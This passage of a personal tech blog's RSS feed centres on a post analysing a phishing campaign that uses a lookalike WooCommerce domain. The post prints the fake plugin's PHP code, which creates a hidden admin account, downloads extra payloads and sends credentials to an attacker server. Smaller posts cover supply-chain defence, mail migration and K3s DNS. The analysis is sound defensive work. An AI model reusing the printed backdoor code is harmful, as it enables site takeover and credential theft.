<p class="wp-block-paragraph">Somebody delegates a task from the second pile, the output looks right, the tests that exist pass, and it goes out. The tests that exist pass because they were written for the code that used to be there. Nothing has verified the new behaviour, and the code carries no signal that it needs verifying more than usual.</p>



<p class="wp-block-paragraph">This is not an argument for using these tools less. I use them constantly and they have changed how much I get done, particularly in that first pile, which turns out to be a larger share of real work than the framing about boilerplate suggests. It is an argument for being deliberate about which pile you are in, because the tool will not tell you and the output looks identical from the outside.</p>



<p class="wp-block-paragraph">The question worth asking before delegating anything is not whether the model can do it. It is how you will know if it did.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[When Letters Lie: Analyzing a Typical IDN Homograph Attack]]></title>
      <link>https://darkog.com/blog/analyzing-a-typical-idn-homograph-attack</link>
      <pubDate>Fri, 16 May 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Security]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/analyzing-a-typical-idn-homograph-attack</guid>
      <description><![CDATA[A client forwarded a suspicious security update email. The domain looked right. Character by character, it was not.]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/04/Homograph.png" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/04/Homograph.png" />
      <content:encoded><![CDATA[
<h2 class="wp-block-heading">Introduction</h2>



<p class="wp-block-paragraph">This article is a brief overview of IDN homograph attacks with a real-world case.</p>



<p class="wp-block-paragraph">A client recently forwarded a suspicious &#8220;security update&#8221; email. Upon investigation, it turned out to be part of a sophisticated phishing campaign targeting website owners. The attacker is trying to impersonate WooCommerce, claiming a critical vulnerability has been patched and urges recipients to download a fake &#8220;security update&#8221; which is actually a trap designed to compromise web stores running on WooCommerce.</p>



<h2 class="wp-block-heading">How it works</h2>



<p class="wp-block-paragraph">The attackers registered the domain &#8220;woocommerċe.com&#8221; (Notice anything unusual?). At first, this domain appears identical to the legitimate &#8220;woocommerce.com&#8221; website. However, there&#8217;s a critical difference: the second &#8220;c&#8221; in the malicious domain isn&#8217;t the standard Latin &#8220;c&#8221; character but rather &#8220;ċ&#8221; – a special character with a dot above it that looks nearly identical in most fonts and email clients.</p>



<p class="wp-block-paragraph">When users click links in these phishing emails, they&#8217;re directed to pages like:</p>



<pre class="wp-block-code"><code>https:&#47;&#47;woocommerċe.com/products/woocommerce-authbypass-update/</code></pre>



<p class="wp-block-paragraph">This page mimics WooCommerce&#8217;s official website and prompts users to download a &#8220;critical security patch&#8221; which is actually malicious software masked as a WooCommerce plugin.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="910" height="1024" src="https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-910x1024.png" alt="Phishing page with a Download link" class="wp-image-1859" srcset="https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-910x1024.png 910w, https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-267x300.png 267w, https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-768x864.png 768w, https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40.png 1170w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<p class="wp-block-paragraph">For a comparison, the legitimate WooCommerce site doesn&#8217;t have this page at all:</p>



<pre class="wp-block-code"><code>https://woocommerce.com/products/woocommerce-authbypass-update/ (returns a 404 error)</code></pre>



<h2 class="wp-block-heading">What is a IDN Homograph attack</h2>



<p class="wp-block-paragraph">This technique is known as a <strong>IDN Homograph attack</strong> (also called an <strong>I</strong>nternationalized <strong>D</strong>omain <strong>N</strong>ame <strong>H</strong>omograph attack or Script Spoofing). It exploits the visual similarity between characters in different writing systems or alphabets to create convincing fake domains.</p>



<p class="wp-block-paragraph">In Unicode, there are many characters from different alphabets that look identical or nearly identical to Latin alphabet characters. For instance:</p>



<ul class="wp-block-list">
<li>The Cyrillic &#8220;о&#8221; looks like the Latin &#8220;o&#8221;</li>



<li>The Greek &#8220;ρ&#8221; resembles the Latin &#8220;p&#8221;</li>



<li>And as I&#8217;ve shown, the Latin &#8220;c&#8221; with a dot (ċ) looks just like a regular &#8220;c&#8221;</li>
</ul>



<p class="wp-block-paragraph">Browsers display these special characters in a way that makes the fraudulent domains nearly indistinguishable from legitimate ones. The attack is effective because:</p>



<ol class="wp-block-list">
<li>Most users don&#8217;t inspect URLs character by character</li>



<li>Email clients and browsers don&#8217;t highlight these subtle differences</li>



<li>The domains can obtain HTTPS certificates, showing the &#8220;secure&#8221; padlock icon</li>



<li>The websites can be exact visual copies of legitimate sites</li>
</ol>



<h2 class="wp-block-heading">Why IDN Homograph attacks are dangerous</h2>



<p class="wp-block-paragraph">This phishing campaign is especially concerning for several reasons:</p>



<ol class="wp-block-list">
<li>It specifically targets WooCommerce users, who typically run e-commerce businesses with valuable customer data and payment information.</li>



<li>By claiming to address a critical security vulnerability, the attackers create a sense of urgency that might override normal caution.</li>



<li>The &#8220;patch&#8221; is actually malicious software that could potentially:
<ul class="wp-block-list">
<li>Steal customer data and payment information</li>



<li>Capture admin credentials</li>



<li>Install backdoors for future access</li>



<li>Compromise the entire website or server</li>
</ul>
</li>



<li>The domain impersonation makes standard security advice like &#8220;check the URLs&#8221; less effective.</li>
</ol>



<h2 class="wp-block-heading">Under the Hood: What this malicious plugin does</h2>



<p class="wp-block-paragraph">I&#8217;ve obtained the actual malicious plugin code distributed through the link:</p>



<pre class="wp-block-code"><code>https:&#47;&#47;woocommerċe.com/download/authentication-bypass-fix?download</code></pre>



<p class="wp-block-paragraph"><em><strong>Disclaimer</strong>: Do not install this on your websites.</em></p>



<p class="wp-block-paragraph">Let&#8217;s analyze this malware to understand exactly how it works and what&#8217;s used to compromise websites.</p>



<h3 class="wp-block-heading">Plugin Header Fakery</h3>



<p class="wp-block-paragraph">The attackers carefully crafted the plugin header to appear legitimate:</p>



<pre class="wp-block-code"><code>// Plugin Name: Woo Vulnerability Fix
// Description: Essential security update for WooCommerce vulnerabilities.
// Version: v1.0.0
// Author: WooCommerce
// Author URI: https://woocommerce.com/</code></pre>



<p class="wp-block-paragraph">This professional presentation helps bypass the initial suspicion a site administrator might have when installing a plugin.</p>



<h3 class="wp-block-heading">Backdoor Creation</h3>



<p class="wp-block-paragraph">The core functionality of this malware is to create a persistent backdoor through multiple mechanisms:</p>



<h4 class="wp-block-heading">1. <strong>Hidden Administrator Account</strong>:</h4>



<p class="wp-block-paragraph">The plugin creates a new administrator user with a programmatically generated username and random password. The code snippet responsible for this:</p>



<pre class="wp-block-code"><code>function sortProfile899()
{
   $set="WP_User";
   $k = databaseManager856();  // Generates username based on site URL
   $m = queueAverage411();     // Generates random password
   $id = null;
   if (!username_exists($k)) {
       $o = wp_create_user($k, $m);
       if (!is_wp_error($o)) {
           $p = new $set($o);
           $ddf = "p";
           ${$ddf}-&gt;set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));  // "administrator" encoded
           parseHeap180($k, $m);
           $id = $p-&gt;ID;
       }
   } else {
       // If user exists, ensure they have admin privileges
       $r = get_user_by('login', $k);
       if ( $r &amp;&amp; !in_array( base64_decode('YWRtaW5pc3RyYXRvcg'), (array) $r-&gt;roles, true ) ) {
           $r-&gt;set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));
           $id = $r-&gt;ID;
       }
   }
   // Additional code to handle Wordfence admin
}</code></pre>



<h4 class="wp-block-heading">2. <strong>Secondary Backdoors</strong>:</h4>



<p class="wp-block-paragraph">The function <code>computeSaved755()</code> downloads additional malicious code from an external server and places it in the uploads directory with obfuscated filenames:</p>



<pre class="wp-block-code"><code>function computeSaved755() {
   $scanningToken = "aHR0cHM6Ly93b29jb21tZXJjZS1oZWxwLmNvbS9hY3RpdmF0ZQ";
   $contents = wp_remote_get(base64_decode($scanningToken), &#91;'timeout' =&gt; 30]);
   if ( !is_array( $contenchannelsts ) &amp;&amp; is_wp_error( $contents ) ) { return; }
   $detections = json_decode(base64_decode($contents&#91;'body']), true);
   for ($i=1;$i&lt;4;$i++) {
       $iteration = 'wp-cached-'.databaseManager856().strrev('php.'.$i);
       $index = 'Scan'.$i;
       $cnts = base64_decode($detections&#91;$index]);
       processDateTime421($iteration, $cnts);
   }
}</code></pre>



<p class="wp-block-paragraph">This creates files named with patterns like <code>wp-cached-[hash].i.php</code> (with reversed filename) to evade detection.</p>



<h3 class="wp-block-heading">Data Exfiltration</h3>



<p class="wp-block-paragraph">The plugin steals sensitive site information and sends it to an attacker-controlled server:</p>



<pre class="wp-block-code"><code>function parseHeap180($I, $J)
{
    $K = get_site_url(null, '', 'https');
    $L = collectComplete942();  // Gets IP address
    $N = sprintf("%s`%s`\n%s`%s`\n%s`%s`\n%s`%s`\n---", 
           base64_decode('c2l0ZXVybDog'), $K, 
           base64_decode('dXNlcjog'), $I, 
           base64_decode('cGFzczog'), $J, 
           base64_decode('aXAgYWRkcmVzczog'), $L, 
           base64_decode('YCBcbi0tLS0='));

    // Builds data package with site URL, admin username, password, and IP
    $P = &#91;base64_decode('dXNlcg') =&gt; $I, 'url' =&gt; $K, 
          base64_decode('cGFzcw') =&gt; $J, 'ip_address' =&gt; $L, 
          'iterations' =&gt; $iterations, 'siteurl' =&gt; base64_encode($N)];

    // Exfiltration endpoint (decoded: "https://wptechsolutions.org/wpapi")
    $O = "aHR0cHM6Ly93cHRlY2hzb2x1dGlvbnMub3JnL3dwYXBp";
    $Q = base64_decode($O) . '?' . http_build_query($P);
    $response = wp_remote_get($Q, &#91;'timeout' =&gt; 30]);
}</code></pre>



<p class="wp-block-paragraph">This function collects and transmits:</p>



<ul class="wp-block-list">
<li>The website URL</li>



<li>The backdoor admin username and password</li>



<li>The server&#8217;s IP address</li>



<li>Paths to the secondary backdoor files</li>
</ul>



<h3 class="wp-block-heading">Concealment Techniques</h3>



<p class="wp-block-paragraph">The attackers weren&#8217;t amateurs &#8211; their stealth game is strong. I&#8217;ve identified the following:</p>



<h4 class="wp-block-heading">1. <strong>Hidden User</strong></h4>



<p class="wp-block-paragraph"> The <u>backdoor admin user</u> is hidden from the WordPress users list by hooking this function into the <code>pre_user_query</code> WordPress filter:</p>



<pre class="wp-block-code"><code>function formatReport933($z)
{
   $A = databaseManager856();
   global $wpdb;
   $z-&gt;query_where .= $wpdb-&gt;prepare(" AND {$wpdb-&gt;users}.user_login != %s", $A);
}</code></pre>



<h4 class="wp-block-heading">2. <strong>Manipulated User Counts</strong></h4>



<p class="wp-block-paragraph">The total user and administrator counts are reduced by one to hide the <u>backdoor admin user</u> by hooking this function into the views_users WordPress filter:</p>



<pre class="wp-block-code"><code>function compressDate796($vjs)
{
   $osrs = count_users();
   $nmr = $osrs&#91;'avail_roles']&#91;'administrator'] - 1;
   $anmr = $osrs&#91;'total_users'] - 1;
   // Updates the displayed counts
}</code></pre>



<h4 class="wp-block-heading">3. <strong>Self-Protection</strong></h4>



<p class="wp-block-paragraph">The plugin prevents its own deactivation when the user hits &#8220;Deactivate&#8221; buttons:</p>



<pre class="wp-block-code"><code>function computeWorker455()
{
   wp_die('This plugin cannot be deactivated.');
}</code></pre>



<p class="wp-block-paragraph">And removes the delete link from the plugins page:</p>



<pre class="wp-block-code"><code>function dispatchMean595($smcnn, $plugin_file)
{
   $stoc = __FILE__;
   $stpc = call_user_func('plugin_basename', $stoc);
   if ($stpc === $plugin_file) {
       unset($smcnn&#91;'delete']);
   }
   return $smcnn;
};</code></pre>



<h4 class="wp-block-heading">4. <strong>Hidden Plugin</strong></h4>



<p class="wp-block-paragraph">The plugin hides itself from the WordPress plugins list:</p>



<pre class="wp-block-code"><code>function databaseInstruction266()
{
    global $current_user;
    $username = $current_user-&gt;user_login;
    if ($username == databaseManager856()) {
        return;
    }
    if (!is_plugin_active('woocommerce-update/woocommerce-update.php')) {
        return;
    }
    global $wp_list_table;
    $hidearr = array('woocommerce-update/woocommerce-update.php');
    $myplugins = $wp_list_table-&gt;items;
    foreach ($myplugins as $key =&gt; $val) {
        if (in_array($key, $hidearr)) {
            unset($wp_list_table-&gt;items&#91;$key]);
        }
    }
}</code></pre>



<h4 class="wp-block-heading">5. <strong>Persistent Access</strong> </h4>



<p class="wp-block-paragraph">Uses WordPress cron to maintain persistent access. The function <code>saveMatrix002</code> is called on every minute based on the securityStarted807 interval they registered in the plugin.</p>



<pre class="wp-block-code"><code>if (!wp_next_scheduled('saveMatrix022')) {
   wp_schedule_event(time(), 'securityStarted807', 'saveMatrix022');
}</code></pre>



<h3 class="wp-block-heading">Obfuscation Techniques</h3>



<p class="wp-block-paragraph">The malicious code uses several obfuscation techniques:</p>



<h4 class="wp-block-heading">1. <strong>Base64 Encoding</strong> </h4>



<p class="wp-block-paragraph">Sensitive strings are encoded to avoid detection:</p>



<ul class="wp-block-list">
<li>&#8216;administrator&#8217; → &#8216;YWRtaW5pc3RyYXRvcg&#8217;</li>



<li>&#8216;user&#8217; → &#8216;dXNlcg&#8217;</li>



<li>&#8216;pass&#8217; → &#8216;cGFzcw&#8217;</li>
</ul>



<h4 class="wp-block-heading">2. <strong>Misleading Function Names</strong></h4>



<p class="wp-block-paragraph">Functions like <code>roleChecker755</code>, <code>securityOptions253</code>, and <code>databaseManager856</code> suggest security-related operations while performing malicious actions.</p>



<h4 class="wp-block-heading">3. <strong>Variable Obfuscation</strong></h4>



<p class="wp-block-paragraph">Single-letter variable names and numeric suffixes make the code difficult to analyze:</p>



<pre class="wp-block-code"><code>$set="WP_User";
$k = databaseManager856();
$m = queueAverage411();
$ddf = "p";
${$ddf}-&gt;set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));</code></pre>



<h4 class="wp-block-heading">4. <strong>Dynamic Variable References</strong></h4>



<p class="wp-block-paragraph">Uses PHP&#8217;s variable variables feature to obfuscate code:</p>



<pre class="wp-block-code"><code>$ddf = "p";
${$ddf}-&gt;set_role(...);  // References $p indirectly</code></pre>



<h2 class="wp-block-heading">The bigger picture: Supply Chain Attacks</h2>



<p class="wp-block-paragraph">This attack attempts to exploit the software supply chain. The mechanism by which legitimate software updates are distributed. By impersonating a trusted vendor (WooCommerce) and delivering fake updates, attackers target one of the most sensitive routes in software security.</p>



<p class="wp-block-paragraph">I will write more about Supply Chain attacks in future, but in meanwhile i&#8217;d suggest reading this <a href="https://www.cloudflare.com/learning/security/what-is-a-supply-chain-attack/#:~:text=Any%20attack%20that%20exploits%20or,in%20their%20tools%20and%20services." target="_blank" rel="noreferrer noopener nofollow">interesting article</a> by CloudFlare.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="1024" src="https://media.darkog.com/uploads/2025/05/supply-chain-attacks.png" alt="Supply chain attack Illustration" class="wp-image-1897" srcset="https://media.darkog.com/uploads/2025/05/supply-chain-attacks.png 1024w, https://media.darkog.com/uploads/2025/05/supply-chain-attacks-300x300.png 300w, https://media.darkog.com/uploads/2025/05/supply-chain-attacks-150x150.png 150w, https://media.darkog.com/uploads/2025/05/supply-chain-attacks-768x768.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">At the end of the day, IDN Homograph attacks are just another reminder that the cyber world requires a lot of caution. These attacks are fed with our habit of quickly clicking links without a second thought.</p>



<p class="wp-block-paragraph">When someone replaces letters in a perfectly legitimate domain  like &#8220;woocommerce.com&#8221; with similar-looking characters from other alphabets, your browser displays what looks identical to the real site but you&#8217;re actually on a completely different domain controlled by attackers.</p>



<p class="wp-block-paragraph">Remember: Avoid clicking on links directly&#8230; Take a moment to hover over links, type addresses directly, and question unexpected security alerts or requests. Your safety isn&#8217;t about paranoia, it&#8217;s about building simple habits that become second nature&#8230;</p>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/IDN_homograph_attack"><br></a><br></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Owning your dependency supply chain]]></title>
      <link>https://darkog.com/blog/owning-your-dependency-supply-chain</link>
      <pubDate>Tue, 08 Apr 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Security]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/owning-your-dependency-supply-chain</guid>
      <description><![CDATA[Auditing a dependency tells you about the version you read. It says nothing about the one being published tonight.]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/04/sec2-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/04/sec2-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">I wrote about the supply chain attack on the WordPress.org plugin repository when it was happening. Maintainer accounts were compromised, malicious updates were published under legitimate plugin names, and every site configured to update automatically pulled them. The interval between a bad release existing and a bad release running on your server was measured in hours.</p>



<p class="wp-block-paragraph">The advice that follows an incident like that is usually to audit your dependencies. I want to be blunt about why that advice is close to useless in this specific shape of attack, and what actually changes the outcome.</p>



<h2 class="wp-block-heading">Auditing does not operate at the speed of the problem</h2>



<p class="wp-block-paragraph">Auditing a dependency is a point-in-time statement about a version you have looked at. It says nothing about the version that will be published tonight.</p>



<p class="wp-block-paragraph">The attack does not rely on you having failed to review the package. It relies on the package being fine when you reviewed it and not fine afterwards, combined with a pipeline that fetches whatever is newest without asking. You cannot review your way out of a race you are not present for.</p>



<p class="wp-block-paragraph">So the useful question is not &#8220;is this dependency trustworthy&#8221;. It is &#8220;what stands between a new upstream release and my running system&#8221;, and for a great many setups the honest answer is nothing at all.</p>



<h2 class="wp-block-heading">What a private registry actually changes</h2>



<p class="wp-block-paragraph">Running your own package registry, with upstream proxied through it, changes one thing: the moment of entry becomes yours to control. Nothing enters your estate because it was published. It enters because it was promoted.</p>



<p class="wp-block-paragraph">That gives you three things worth having.</p>



<ul class="wp-block-list">

<li><strong>A gate.</strong> A new upstream version exists in the proxy but is not available to builds until something promotes it. That something can be a person, a delay, a scanner, or a policy. Any of them is better than none.</li>


<li><strong>Immutability of what you already have.</strong> A version you have consumed is stored by you. An upstream package that is deleted, retagged, or republished with different content does not change what your builds resolve.</li>


<li><strong>A single place to answer &#8220;who is using this&#8221;.</strong> When the next advisory lands, the question is which of your projects pulled the affected version. A registry you own can answer that. A public one cannot.</li>

</ul>



<h2 class="wp-block-heading">What it does not change, which matters more</h2>



<p class="wp-block-paragraph">A private registry does not detect a malicious release. It has no opinion about the contents of a package. If you promote a compromised version, you have distributed a compromised version efficiently to everything you own.</p>



<p class="wp-block-paragraph">It also does not remove your dependence on upstream maintainers, reduce the number of transitive packages you rely on, or tell you which of your dependencies is one unpaid volunteer away from an incident.</p>



<p class="wp-block-paragraph">And it adds a component you now own. If it is down, your builds fail. If its storage is lost and you have not kept the artefacts, you have replaced a public single point of failure with a private one that has a smaller operations team, which is you.</p>



<p class="wp-block-paragraph">So the registry is not a control by itself. It is the place where a control can exist. The control is the promotion policy, and a registry with an auto-promote-everything policy has bought you a mirror and an availability risk, nothing more.</p>



<h2 class="wp-block-heading">A policy that is actually sustainable</h2>



<p class="wp-block-paragraph">The failure mode of a strict policy is that someone disables it under deadline pressure. So the version I would defend is deliberately modest.</p>



<p class="wp-block-paragraph"><strong>Pin exact versions and commit the lock file.</strong> Free, and it is the single largest improvement available. A build that resolves to exactly what it resolved to yesterday is immune to tonight&#8217;s release regardless of anything else you do.</p>



<p class="wp-block-paragraph"><strong>Impose a quarantine window rather than a review.</strong> Nobody sustains manual review of every dependency bump. A rule that a version must have existed publicly for some number of days before promotion needs no human attention and catches the case that matters, because a malicious release is usually discovered fast and yanked. Time is doing the work that review would not have done.</p>



<p class="wp-block-paragraph"><strong>Turn off automatic updates in production for anything that executes code.</strong> This is the one that specifically addresses the incident I started with. Convenience was the vulnerability.</p>



<p class="wp-block-paragraph"><strong>Separate promotion from consumption.</strong> Developers pull from the registry. Something else, with different credentials, decides what the registry offers. If the same identity can do both, the boundary is decorative.</p>



<h2 class="wp-block-heading">Where the effort is worth it</h2>



<p class="wp-block-paragraph">I built a self-hosted Composer registry, so my bias is obvious. It is worth being clear that the case for it is not primarily security.</p>



<p class="wp-block-paragraph">The case is usually private packages, build reliability when upstream has a bad day, and knowing what you depend on. The supply chain benefit is real but conditional, and it arrives only if you use the gate the registry gives you. For a single small project, pinning versions and disabling automatic updates gets you most of the protection for none of the operational cost, and I would start there rather than with infrastructure.</p>



<p class="wp-block-paragraph">The thing I would not do is treat the registry as the answer and stop. That is how you end up with a well-run pipeline that distributes whatever it is given, which is a more efficient version of the original problem.</p>

]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Migrating email from one server to another with ImapSync and Docker]]></title>
      <link>https://darkog.com/blog/migrating-email-from-one-server-to-another-with-imapsync-and-docker</link>
      <pubDate>Tue, 16 Jul 2024 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Notes]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/migrating-email-from-one-server-to-another-with-imapsync-and-docker</guid>
      <description><![CDATA[A Docker command for copying mail between IMAP servers with ImapSync, including folder mapping.]]></description>
      <media:content url="https://media.darkog.com/uploads/2024/07/W20sw-1024x491.png" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2024/07/W20sw-1024x491.png" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">IMAPSync is a command-line tool that efficiently synchronizes IMAP mailboxes between two servers. It is designed to copy emails from one mailbox to another without duplicating messages that already exist on the target server. This ensures a smooth and error-free migration process, making it a preferred choice for administrators.</p>



<p class="wp-block-paragraph">Docker is a platform that allows you to package and run applications in isolated environments called containers. By using Docker, you can run IMAPSync in a consistent and controlled environment, avoiding conflicts and dependencies that might arise from running the tool directly on your system. To migrate your emails using IMAPSync through Docker, you can use the following command:</p>



<pre class="wp-block-code"><code>docker run gilleslamiral/imapsync imapsync \
--host1 source.server.ip   --user1 info@yourmail.com --password1 'yourpass' \
--host2 target.server.ip   --user2 info@yourmail.com --password2 'yourpass' \
--automap "$@"</code></pre>



<p class="wp-block-paragraph">This command initiates the synchronization process, transferring emails from the source server to the target server efficiently and reliably.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Configure upstream DNS resolution in K3s]]></title>
      <link>https://darkog.com/blog/how-to-change-the-dns-servers-within-k3s-coredns</link>
      <pubDate>Tue, 09 Jul 2024 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Notes]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/how-to-change-the-dns-servers-within-k3s-coredns</guid>
      <description><![CDATA[Trace the resolver path from K3s to CoreDNS, configure a reachable upstream DNS server, and verify lookups from a pod.]]></description>
      <media:content url="https://media.darkog.com/uploads/2024/07/growtika-ZfVyuV8l7WU-unsplash-1024x576.jpg" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2024/07/growtika-ZfVyuV8l7WU-unsplash-1024x576.jpg" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">A custom DNS server can resolve internal names on the host while those same names fail inside K3s pods. Start by checking which resolver configuration K3s selected and where CoreDNS forwards external queries.</p>



<h2 class="wp-block-heading">1. Inspect the resolver path</h2>



<pre class="wp-block-code"><code>cat /etc/resolv.conf
kubectl -n kube-system get configmap coredns -o yaml</code></pre>



<p class="wp-block-paragraph">K3s checks common resolver files and may select an alternative when a file contains unsuitable nameservers. CoreDNS commonly forwards external queries through its own <code>/etc/resolv.conf</code>. A host loopback resolver such as <code>127.0.0.53</code> is not reachable at that address from an ordinary pod.</p>



<h2 class="wp-block-heading">2. Set an explicit resolver file</h2>



<p class="wp-block-paragraph">On every node that may run CoreDNS, prepare a resolver file containing DNS servers reachable from the pod network. To use <code>/etc/resolv.conf</code>, first confirm its nameserver addresses meet that requirement. Merge this setting into the existing <code>/etc/rancher/k3s/config.yaml</code>; do not append duplicate YAML keys:</p>



<pre class="wp-block-code"><code>resolv-conf: /etc/resolv.conf</code></pre>



<p class="wp-block-paragraph">Use another absolute path if the host file points to a local stub resolver. Keep the file and its nameservers consistent across eligible nodes.</p>



<h2 class="wp-block-heading">3. Restart and verify</h2>



<p class="wp-block-paragraph">Apply during a maintenance window, one node at a time. Restart the service appropriate to the node: <code>sudo systemctl restart k3s</code> on a server, or <code>sudo systemctl restart k3s-agent</code> on an agent. Once the nodes are healthy, recreate CoreDNS through its Deployment:</p>



<pre class="wp-block-code"><code>kubectl -n kube-system rollout restart deployment/coredns
kubectl -n kube-system rollout status deployment/coredns</code></pre>



<p class="wp-block-paragraph">From a workload pod with a DNS lookup tool, verify the internal name, a public hostname, and <code>kubernetes.default.svc.cluster.local</code>. A successful lookup on the host alone does not verify pod DNS.</p>



<p class="wp-block-paragraph">For resolver selection and domain-specific forwarding alternatives, see <a href="https://docs.k3s.io/advanced#configuring-dns-resolution">K3s DNS configuration</a>.</p>


]]></content:encoded>
    </item>
  </channel>
</rss>
